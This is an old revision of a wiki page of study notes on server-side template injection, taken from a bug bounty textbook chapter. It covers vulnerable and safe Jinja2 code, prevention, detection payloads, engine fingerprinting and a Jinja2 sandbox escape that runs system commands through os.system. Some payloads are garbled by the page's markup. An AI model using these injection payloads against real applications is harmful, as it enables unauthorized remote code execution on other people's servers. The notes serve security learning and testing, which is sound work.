This is an old revision of the document!
Table of Contents
BBC Ch 16: Server-Side Template Injection (SSTI)
Source: Bug Bounty Bootcamp by Vickie Li
How SSTI Works
Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than being passed in as a safe data variable:
Vulnerable code (Python/Jinja2): <code python> from jinja2 import Template tmpl = Template(“<html><h1>Hello: ” + user_input + “</h1></html>”) tmpl.render() ```
Safe code: <code python> tmpl = Template(“<html><h1>Hello: name</h1></html>”) tmpl.render(name=user_input) ```
When code is vulnerable, submitting 1_1 returns 2 in the page – the template engine executed the expression.
Prevention
- Patch and update template engine libraries regularly
- Avoid allowing user-submitted templates
- Use the template engine's hardened sandbox mode for user input (not bulletproof – sandbox escapes exist)
- Implement an allowlist of allowed attributes in templates
- Return generic error pages; suppress descriptive error messages
- Sanitize user input before embedding in templates
Hunting for SSTI
Step 1: Find User-Input Locations
Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.
Step 2: Detect SSTI with Test Payloads
Submit this polyglot error-inducing string: <code> 1_abcxx${1+abcxx}<%1+abcxx%>[abcxx] ```
If the server returns an error or renders unexpectedly, template injection is likely. Also try:
| Payload | Works in |
|---|---|
7_7 | Jinja2, Twig, Smarty (Python/PHP) |
${7*7} | FreeMarker, Thymeleaf (Java) |
<%= 7*7 %> | ERB (Ruby) |
If any of these returns 49, SSTI is confirmed.
If input is placed inside expression tags already (e.g., user_input), just submit 7*7 without the brackets and check if 49 is returned.
Step 3: Identify the Template Engine
- Error message may name the engine (e.g.,
jinja2.exceptions.UndefinedError) <%= 7*7 %>returning 49 → ERB${7*7}returning 49 → FreeMarker or Thymeleaf
Escalating SSTI to RCE (Jinja2)
Jinja2 blocks direct import and os, but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the catch_warnings class, which has access to builtins:
List all subclasses of object: <code> class_._bases_0_._subclasses ```
Find catch_warnings and access builtins: <code> {% for x in [].class.bases[0].subclasses() %} {% if 'catch_warnings' in x.name %} x_._module._builtins {% endif %} {% endfor %} ```
Execute a system command (e.g., ls): <code> {% for x in [].class.bases[0].subclasses() %} {% if 'catch_warnings' in x.name %} x_._module._builtins_import_os_.system_ls {% endif %} {% endfor %} ```
Safe PoC – create a file with a distinct name: <code> {% for x in [].class.bases[0].subclasses() %} {% if 'warning' in x.name %} x_._module._builtins_import_os_.system_touch_ssti_poc_by_your_name.txt {% endif %} {% endfor %} ```
Other template engines require different syntax and sandbox-escape methods – consult engine-specific documentation and PortSwigger's SSTI research.
Automation
tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines.
7-Step Checklist
- Find user-input locations that are displayed back to the user.
- If blocked/no output: try the polyglot error payload
1_abcxx${1+abcxx}<%1+abcxx%>[abcxx]. - Identify the template engine from error messages or differential payloads.
- Research sandbox-escape techniques for the identified engine.
- Escalate to RCE; create a safe PoC file rather than executing destructive commands.
- Draft report with the working payload and the engine name.
